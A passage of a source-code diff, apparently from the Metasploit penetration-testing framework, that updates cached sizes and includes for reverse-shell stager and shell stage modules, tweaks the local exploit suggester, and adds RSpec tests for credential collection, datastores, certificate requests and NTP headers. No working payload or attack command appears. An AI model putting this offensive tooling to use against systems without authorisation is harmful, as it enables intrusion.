b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -5,7 +5,7 @@ module MetasploitModule - CachedSize = 528 + CachedSize = 610 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index bfbce09497aa..f83bfc7e39d2 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -5,7 +5,7 @@ module MetasploitModule - CachedSize = 562 + CachedSize = 644 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb index d8a7695fe137..e8b2e7641c4e 100644 --- a/modules/payloads/stages/linux/mipsbe/shell.rb +++ b/modules/payloads/stages/linux/mipsbe/shell.rb @@ -4,7 +4,6 @@ ## module MetasploitModule - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb index 0d96e44c4da9..bb2b4643fe3e 100644 --- a/modules/payloads/stages/linux/mipsle/shell.rb +++ b/modules/payloads/stages/linux/mipsle/shell.rb @@ -5,7 +5,6 @@ module MetasploitModule - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index 3fd72f8df846..773ece7bbf23 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -5,7 +5,7 @@ module MetasploitModule - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index d6bec2b16cea..bc399417bec8 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -5,7 +5,7 @@ module MetasploitModule - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index ff0b76d8c6d6..c947e298287b 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -110,8 +110,9 @@ def valid_incompatibility_reasons(mod, verify_reasons) end def set_module_options(mod) + ignore_list = ['ACTION', 'TARGET'].freeze datastore.each_pair do |k, v| - mod.datastore[k] = v + mod.datastore[k] = v unless ignore_list.include?(k.upcase) end if !mod.datastore['SESSION'] && session.present? mod.datastore['SESSION'] = session.sid diff --git a/spec/acceptance/ldap_spec.rb b/spec/acceptance/ldap_spec.rb index 74773dff6985..abf18ce9542b 100644 --- a/spec/acceptance/ldap_spec.rb +++ b/spec/acceptance/ldap_spec.rb @@ -98,6 +98,11 @@ required: [ /Successfully queried/ ] + }, + linux: { + known_failures: [ + /Auxiliary aborted due to failure: not-found/ + ] } } }, @@ -187,7 +192,7 @@ def with_test_harness(module_test) # Skip any ignored lines from the validation input validated_lines = test_result.lines.reject do |line| is_acceptable = known_failures.any? do |acceptable_failure| - is_matching_line = is_matching_line.value.is_a?(Regexp) ? line.match?(acceptable_failure.value) : line.include?(acceptable_failure.value) + is_matching_line = acceptable_failure.value.is_a?(Regexp) ? line.match?(acceptable_failure.value) : line.include?(acceptable_failure.value) is_matching_line && acceptable_failure.if?(test_environment) end || line.match?(/Passed: \d+; Failed: \d+/) diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb index a4d3cc365012..b6ef2d637631 100644 --- a/spec/lib/metasploit/framework/credential_collection_spec.rb +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -16,7 +16,9 @@ prepended_creds: prepended_creds, additional_privates: additional_privates, additional_publics: additional_publics, - password_spray: password_spray + password_spray: password_spray, + ignore_public: ignore_public, + ignore_private: ignore_private ) end @@ -39,6 +41,8 @@ let(:additional_privates) { [] } let(:additional_publics) { [] } let(:password_spray) { false } + let(:ignore_public) { nil } + let(:ignore_private) { nil } describe "#each" do specify do @@ -592,6 +596,34 @@ ) end end + + context 'when :ignore_public is true and :username is nil' do + let(:ignore_public) { true } + let(:username) { nil } + specify do + expect { |b| collection.each(&b) }.to_not yield_control + end + end + + context 'when :ignore_private is true and password is nil' do + let(:ignore_private) { true } + let(:password) { nil } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: nil) + ) + end + + context 'when :ignore_public is also true and username is nil' do + let(:ignore_public) { true } + let(:username) { nil } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: nil, private: nil) + ) + end + end + end end describe "#empty?" do @@ -661,6 +693,21 @@ expect(collection.empty?).to eq true end end + + context "and :ignore_public is set" do + let(:ignore_public) { true } + specify do + expect(collection.empty?).to eq true + end + + context "and :ignore_private is also set" do + let(:ignore_private) { true } + specify do + expect(collection.empty?).to eq false + end + end + end + end end end diff --git a/spec/lib/msf/core/data_store_with_fallbacks_spec.rb b/spec/lib/msf/core/data_store_with_fallbacks_spec.rb index e6c0d2bfe2bf..eab0a36f4646 100644 --- a/spec/lib/msf/core/data_store_with_fallbacks_spec.rb +++ b/spec/lib/msf/core/data_store_with_fallbacks_spec.rb @@ -700,7 +700,7 @@ end end -RSpec.describe Msf::DataStoreWithFallbacks do +RSpec.describe Msf::DataStore do include_context 'datastore subjects' subject(:default_subject) do @@ -712,11 +712,11 @@ it_behaves_like 'a datastore' end -RSpec.describe Msf::ModuleDataStoreWithFallbacks do +RSpec.describe Msf::ModuleDataStore do include_context 'datastore subjects' let(:framework_datastore) do - Msf::DataStoreWithFallbacks.new + Msf::DataStore.new end let(:mod) do framework = instance_double(Msf::Framework, datastore: framework_datastore) diff --git a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb index be38cdab5510..1fe9316ff647 100644 --- a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb @@ -90,19 +90,19 @@ let(:x509_csr) do OpenSSL::X509::Request.new(<<~REQUEST) -----BEGIN CERTIFICATE REQUEST----- - MIICVzCCAT8CAQEwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB + MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3 - DQEBCwUAA4IBAQBDi5bcG7sRB5rZFM7xdcM2xMVPMLW4nXaOovnDll3w439zOGdv - oesl2VxdJD0K1VcjDbS40/usV9+Pt3BJmJjePS/Mj8pBk+GpW2HiZ7VAhvxTb9rx - AiZjNMAzmgl3y4w4gaxV/CuNvKyfdBxGFvqEWqcDfESlttkwDm1ufVgx6T2SGrgc - 91W+/dmaSC+DCm8VCREzzJkD3APE5GRQCLUHiZOTJHEG6s3Gb25SOSVXIpEhWSEA - k5gUxxekO0L6th8aGqwGMtHqKU6AG1PfjgqRb/7dfv+0SoV1CXb7xUuPpDVW5i1F - pVvzc/YjfJ1N/B30y1zAKopstzerGN0fyIdg + DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/ + gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S + b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD + abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a + x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y + i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg -----END CERTIFICATE REQUEST----- REQUEST end @@ -113,7 +113,7 @@ "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ "\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \ - "\x01\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \ + "\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \ "\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \ "\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \ "\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \ @@ -131,21 +131,21 @@ "\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \ "\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \ "\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \ - "\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x43\x8b\x96\xdc\x1b" \ - "\xbb\x11\x07\x9a\xd9\x14\xce\xf1\x75\xc3\x36\xc4\xc5\x4f\x30\xb5\xb8\x9d" \ - "\x76\x8e\xa2\xf9\xc3\x96\x5d\xf0\xe3\x7f\x73\x38\x67\x6f\xa1\xeb\x25\xd9" \ - "\x5c\x5d\x24\x3d\x0a\xd5\x57\x23\x0d\xb4\xb8\xd3\xfb\xac\x57\xdf\x8f\xb7" \ - "\x70\x49\x98\x98\xde\x3d\x2f\xcc\x8f\xca\x41\x93\xe1\xa9\x5b\x61\xe2\x67" \ - "\xb5\x40\x86\xfc\x53\x6f\xda\xf1\x02\x26\x63\x34\xc0\x33\x9a\x09\x77\xcb" \ - "\x8c\x38\x81\xac\x55\xfc\x2b\x8d\xbc\xac\x9f\x74\x1c\x46\x16\xfa\x84\x5a" \ - "\xa7\x03\x7c\x44\xa5\xb6\xd9\x30\x0e\x6d\x6e\x7d\x58\x31\xe9\x3d\x92\x1a" \ - "\xb8\x1c\xf7\x55\xbe\xfd\xd9\x9a\x48\x2f\x83\x0a\x6f\x15\x09\x11\x33\xcc" \ - "\x99\x03\xdc\x03\xc4\xe4\x64\x50\x08\xb5\x07\x89\x93\x93\x24\x71\x06\xea" \ - "\xcd\xc6\x6f\x6e\x52\x39\x25\x57\x22\x91\x21\x59\x21\x00\x93\x98\x14\xc7" \ - "\x17\xa4\x3b\x42\xfa\xb6\x1f\x1a\x1a\xac\x06\x32\xd1\xea\x29\x4e\x80\x1b" \ - "\x53\xdf\x8e\x0a\x91\x6f\xfe\xdd\x7e\xff\xb4\x4a\x85\x75\x09\x76\xfb\xc5" \ - "\x4b\x8f\xa4\x35\x56\xe6\x2d\x45\xa5\x5b\xf3\x73\xf6\x23\x7c\x9d\x4d\xfc" \ - "\x1d\xf4\xcb\x5c\xc0\x2a\x8a\x6c\xb7\x37\xab\x18\xdd\x1f\xc8\x87\x60\xa0" \ + "\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \ + "\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \ + "\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \ + "\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \ + "\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \ + "\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \ + "\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \ + "\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \ + "\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \ + "\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \ + "\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \ + "\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \ + "\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \ + "\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \ + "\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \ "\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \ "\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \ "\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \ @@ -255,23 +255,23 @@ "\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \ "\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \ "\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \ - "\xef\xf1\x08\x75\x09\x03\xad\x18\x44\x47\x2e\x2c\xbd\x14\x15\x3f\xd1\xe3" \ - "\x3e\xee\x28\x0f\x42\x8d\xe4\x4b\xc6\x08\xc3\x95\x71\xa3\x30\x0b\x06\x09" \ - "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x46\x06\xd6\x18\x92" \ - "\x5b\xb3\x89\xa4\x19\x44\x55\x1f\xcf\x55\x2e\xb7\xfe\x28\xf4\x6f\xfd\x97" \ - "\xd2\x01\xac\xcd\x15\x8d\x1a\x8f\xac\x26\x5c\xa3\xd3\x7d\xb0\xc3\x36\x47" \ - "\xff\x4d\x5a\x98\x4f\x17\x43\x70\x60\xf1\x69\x44\xfa\x27\x61\x71\x2a\xe5" \ - "\xa8\x8a\x98\x0d\x34\x4d\x22\x23\x10\xde\x43\x60\xf5\x3f\x7b\x3a\x72\xe4" \ - "\xf7\x69\x29\xe0\xaa\x9e\xff\x28\x18\x8c\x61\xb2\xe1\x41\x7a\x69\x92\x47" \ - "\xac\x2e\xe7\x92\x26\xd8\x54\x91\xae\x54\xaa\x8e\xc0\x06\x0d\x4b\x51\xfe" \ - "\xbe\x92\x40\x07\x11\x6e\x2b\xe0\xb8\xc0\xab\xfe\x52\x90\x3a\x28\xec\xa9" \ - "\xb1\x9a\xf2\xce\x43\x04\xf8\xea\x14\x2d\x54\xe4\x21\x23\x2e\x2a\xf0\x13" \ - "\xcd\xd7\x3c\xf5\xba\x76\x3c\x1a\xf4\x7c\xc7\x22\x34\xff\x84\x79\xb0\x32" \ - "\xe9\x04\xb7\x22\x92\x3f\x3a\x3d\x12\x47\xce\xe3\x9e\x4f\xd4\x5b\x83\xd9" \ - "\xc1\x20\x20\x04\x22\xed\xb5\x59\x43\x1c\xa9\xab\x0f\xb1\xb0\x9f\x05\x1c" \ - "\x88\x88\x98\xb9\x97\x53\x1e\xa4\xe3\xfd\x58\x92\x09\xe7\xcc\x83\xbf\x5f" \ - "\xc2\xb3\x08\x33\x96\x41\x75\x46\x35\x55\x0a\x34\x2e\xd8\x0b\x76\x2f\xf2" \ - "\xba\xf0\x21\x25\xc3\x73\x52\x5b\x8b\x51\xe8\x03\xb3\x78\x70\xc5\xf5" + "\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \ + "\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \ + "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \ + "\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \ + "\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \ + "\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \ + "\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \ + "\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \ + "\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \ + "\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \ + "\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \ + "\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \ + "\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \ + "\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \ + "\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \ + "\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \ + "\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6" ) end diff --git a/spec/lib/msf/core/opt_enum_spec.rb b/spec/lib/msf/core/opt_enum_spec.rb index fac6e72fd898..de0d02cbbd15 100644 --- a/spec/lib/msf/core/opt_enum_spec.rb +++ b/spec/lib/msf/core/opt_enum_spec.rb @@ -17,6 +17,10 @@ expect(required_optenum.valid?('Bar')).to eq true end + it 'should return true for a value in the list with alternative casing' do + expect(required_optenum.valid?('bar')).to eq true + end + it 'should return false for a nil value' do expect(required_optenum.valid?(nil)).to eq false end @@ -31,6 +35,10 @@ expect(not_required_optenum.valid?('Bar')).to eq true end + it 'should return true for a value in the list with alternative casing' do + expect(not_required_optenum.valid?('bar')).to eq true + end + it 'should return false for a value not in the list' do expect(not_required_optenum.valid?('Snap')).to eq false end @@ -45,6 +53,10 @@ expect(required_optenum.normalize('Bar')).to eq 'Bar' end + it 'should return the value string for a value with alternative casing' do + expect(required_optenum.normalize('bar')).to eq 'Bar' + end + it 'should return nil for a value not in the list' do expect(required_optenum.normalize('Snap')).to eq nil end @@ -59,6 +71,10 @@ expect(not_required_optenum.normalize('Bar')).to eq 'Bar' end + it 'should return the value string for a value with alternative casing' do + expect(not_required_optenum.normalize('bar')).to eq 'Bar' + end + it 'should return nil for a value not in the list' do expect(not_required_optenum.normalize('Snap')).to eq nil end diff --git a/spec/lib/msf/core/opt_int_range_spec.rb b/spec/lib/msf/core/opt_int_range_spec.rb new file mode 100644 index 000000000000..e99d604f75e8 --- /dev/null +++ b/spec/lib/msf/core/opt_int_range_spec.rb @@ -0,0 +1,48 @@ +# -*- coding:binary -*- + +require 'spec_helper' + +RSpec.describe Msf::OptIntRange do + valid_values = [ + { :value => '1', :normalized => '1' }, + { :value => '1,2', :normalized => '1,2' }, + { :value => '1, 2, 3-5', :normalized => '1,2,3-5' }, + ] + invalid_values = [ + { :value => "bbq" }, + { :value => "0.1" }, + { :value => "0xG" }, + { :value => "FF" }, + ] + + it_behaves_like "an option", valid_values, invalid_values, 'integer range' + + describe '.parse' do + it 'parses a single number to a single number' do + expect(described_class.parse('1')).to be_a Enumerator + expect(described_class.parse('1').to_a).to eq [1] + end + + it 'parses a range of numbers to multiple numbers' do + expect(described_class.parse('1-3')).to be_a Enumerator + expect(described_class.parse('1-3').to_a).to eq [1, 2, 3] + end + + it 'parses a mixture to multiple numbers' do + expect(described_class.parse('1-3,5')).to be_a Enumerator + expect(described_class.parse('1-3,5').to_a).to eq [1, 2, 3, 5] + end + + it 'parses a range with a single number exclusion' do + expect(described_class.parse('1-3,!2')).to be_a Enumerator + expect(described_class.parse('1-3,!2').to_a).to eq [1, 3] + end + + it 'parses a range with a range number exclusion' do + expect(described_class.parse('1-5,!2-3')).to be_a Enumerator + expect(described_class.parse('1-5,!2-3').to_a).to eq [1, 4, 5] + end + end +end + + diff --git a/spec/lib/msf/core/option_group_spec.rb b/spec/lib/msf/core/option_group_spec.rb index d6669b942974..2980cdd6a5a1 100644 --- a/spec/lib/msf/core/option_group_spec.rb +++ b/spec/lib/msf/core/option_group_spec.rb @@ -53,7 +53,7 @@ let(:option_names) { ['not_required_name', required_option_name] } let(:required_names) { [required_option_name] } let(:options) { instance_double(Msf::OptionContainer) } - let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) } + let(:datastore) { instance_double(Msf::DataStore) } context 'when there are no required options' do subject { described_class.new(name: 'name', description: 'description', option_names: option_names) } diff --git a/spec/lib/msf/core/windows_version_spec.rb b/spec/lib/msf/core/windows_version_spec.rb index 951a3dd5f0f4..5cb7550b393a 100644 --- a/spec/lib/msf/core/windows_version_spec.rb +++ b/spec/lib/msf/core/windows_version_spec.rb @@ -13,12 +13,17 @@ end it 'Adds build suffix to Windows 10' do + subject = described_class.new(10,0,18360,0, 0,Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Windows 10+ Build 18360') + end + + it 'Uses known Windows 10 version' do subject = described_class.new(10,0,18362,0, 0,Msf::WindowsVersion::VER_NT_WORKSTATION) - expect(subject.to_s).to eq('Windows 10+ Build 18362') + expect(subject.to_s).to eq('Windows 10 version 1903') end it 'Adds service pack suffix' do - subject = described_class.new(5,1,2600,2, 0,Msf::WindowsVersion::VER_NT_WORKSTATION) + subject = described_class.new(5,1,2602,2, 0,Msf::WindowsVersion::VER_NT_WORKSTATION) expect(subject.to_s).to eq('Windows XP Service Pack 2') end @@ -26,4 +31,45 @@ subject = described_class.new(1,2,3000,0, 0,Msf::WindowsVersion::VER_NT_WORKSTATION) expect(subject.to_s).to eq('Unknown Windows version: 1.2.3000') end + + it 'Has string name for each named version' do + described_class::ServerSpecificVersions.constants.each do |version_sym| + expect(described_class::ServerNameMapping).to include(version_sym) + end + described_class::WorkstationSpecificVersions.constants.each do |version_sym| + expect(described_class::WorkstationNameMapping).to include(version_sym) + end + end + + it 'Reports correct SMB version for single match' do + major = 5 + minor = 1 + build = 2600 + version_string = described_class.from_ntlm_os_version(major, minor, build) + expect(version_string).to eq('Windows XP') + end + + it 'Reports correct SMB version for multiple matches' do + major = 6 + minor = 1 + build = 7601 + version_string = described_class.from_ntlm_os_version(major, minor, build) + expect(version_string).to eq('Windows 7 Service Pack 1/Windows Server 2008 R2 Service Pack 1') + end + + it 'Reports unknown SMB version for no identical old OS' do + major = 6 + minor = 1 + build = 7604 + version_string = described_class.from_ntlm_os_version(major, minor, build) + expect(version_string).to eq(nil) + end + + it 'Reports unknown SMB version for no identical Win10+' do + major = 10 + minor = 0 + build = 15064 + version_string = described_class.from_ntlm_os_version(major, minor, build) + expect(version_string).to eq(nil) + end end diff --git a/spec/lib/rex/proto/ntp/header_spec.rb b/spec/lib/rex/proto/ntp/header_spec.rb new file mode 100644 index 000000000000..63c72d1bb2d8 --- /dev/null +++ b/spec/lib/rex/proto/ntp/header_spec.rb @@ -0,0 +1,294 @@ +# -*- coding:binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::NTP::Header::NTPShort do + context 'in the default state' do + describe '#to_binary_s' do + it 'is four null bytes' do + expect(subject.to_binary_s).to eq "\x00\x00\x00\x00".b + end + end + + describe '#value' do + it 'is a BigDecimal instance' do + expect(subject.value).to be_a(BigDecimal) + end + + it 'is zero' do + expect(subject.value).to eq 0 + end + end + end + + context 'when set to a real value' do + let(:value) { 10.015182 } + let(:subject) { described_class.new(value) } + + describe '#to_binary_s' do + it 'is four null bytes' do + expect(subject.to_binary_s).to eq "\x00\x0a\x03\xe3".b + end + end + + describe '#value' do + it 'is a BigDecimal instance' do + expect(subject.value).to be_a(BigDecimal) + end + + it 'is the correct value' do + expect(subject.value.round(6)).to eq value + end + end + end +end + +RSpec.describe Rex::Proto::NTP::Header::NTPTimestamp do + context 'in the default state' do + describe '#to_binary_s' do + it 'is eight null bytes' do + expect(subject.to_binary_s).to eq "\x00\x00\x00\x00\x00\x00\x00\x00".b + end + end + + describe '#value' do + it 'is nil' do + expect(subject.value).to be_nil + end + end + end + + context 'when set to a real value' do + let(:timestamp) { Time.parse('2024-12-12 15:32:42.555253 +0000') } + context 'from parts' do + let(:subject) { described_class.new.tap { |ts| ts.seconds = 0xeb05809a; ts.fraction = 0x8e2517e7 } } + + describe '#to_binary_s' do + it 'is correct' do + expect(subject.to_binary_s).to eq "\xeb\x05\x80\x9a\x8e\x25\x17\xe7".b + end + end + + describe '#value' do + it 'is a Time instance' do + expect(subject.value).to be_a(Time) + end + + it 'is the correct value' do + expect(subject.value.round(6)).to eq timestamp + end + end + end + + context 'from a timestamp' do + let(:subject) { described_class.new(timestamp) } + + describe '#to_binary_s' do + it 'is correct' do + expect(subject.to_binary_s).to eq "\xeb\x05\x80\x9a\x8e\x25\x0f\x84".b + end + end + + describe '#value' do + it 'is a Time instance' do + expect(subject.value).to be_a(Time) + end + + it 'is the correct value' do + expect(subject.value.round(6)).to eq timestamp + end + end + end + end +end + +RSpec.describe Rex::Proto::NTP::Header::NTPHeader do + context 'in the default state' do + describe '#to_binary_s' do + it 'is correct' do + expect(subject.to_binary_s).to eq ("\x20".b + ("\x00".b * 47)) + end + end + + describe '#version_number' do + it 'is the latest supported version' do + expect(subject.version_number).to eq 4 + end + + it 'throws an exception when set to an invalid value' do + expect { subject.version_number = 0 }.to raise_error(BinData::ValidityError) + expect { subject.version_number = 5 }.to raise_error(BinData::ValidityError) + end + end + + describe '#root_delay' do + it 'is an NTPShort' do + expect(subject.root_delay).to be_a Rex::Proto::NTP::Header::NTPShort + end + + it 'is 0' do + expect(subject.root_delay).to eq 0 + end + end + + describe '#root_dispersion' do + it 'is an NTPShort' do + expect(subject.root_dispersion).to be_a Rex::Proto::NTP::Header::NTPShort + end + + it 'is 0' do + expect(subject.root_dispersion).to eq 0 + end + end + + describe '#reference_id' do + it 'is an empty string' do + expect(subject.reference_id).to eq '' + end + end + + describe '#reference_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.reference_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.reference_timestamp).to eq nil + end + end + + describe '#origin_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.origin_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.origin_timestamp).to eq nil + end + end + + describe '#receive_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.receive_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.receive_timestamp).to eq nil + end + end + + describe '#transmit_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.transmit_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.transmit_timestamp).to eq nil + end + end + + describe '#extensions' do + it 'is empty' do + expect(subject.extensions).to be_empty + end + end + + describe '#key_identifier' do + it 'is not set' do + expect(subject.key_identifier?).to be_falsey + end + + it 'is zero' do + expect(subject.key_identifier).to eq 0 + end + end + + describe '#message_digest' do + it 'is not set' do + expect(subject.message_digest?).to 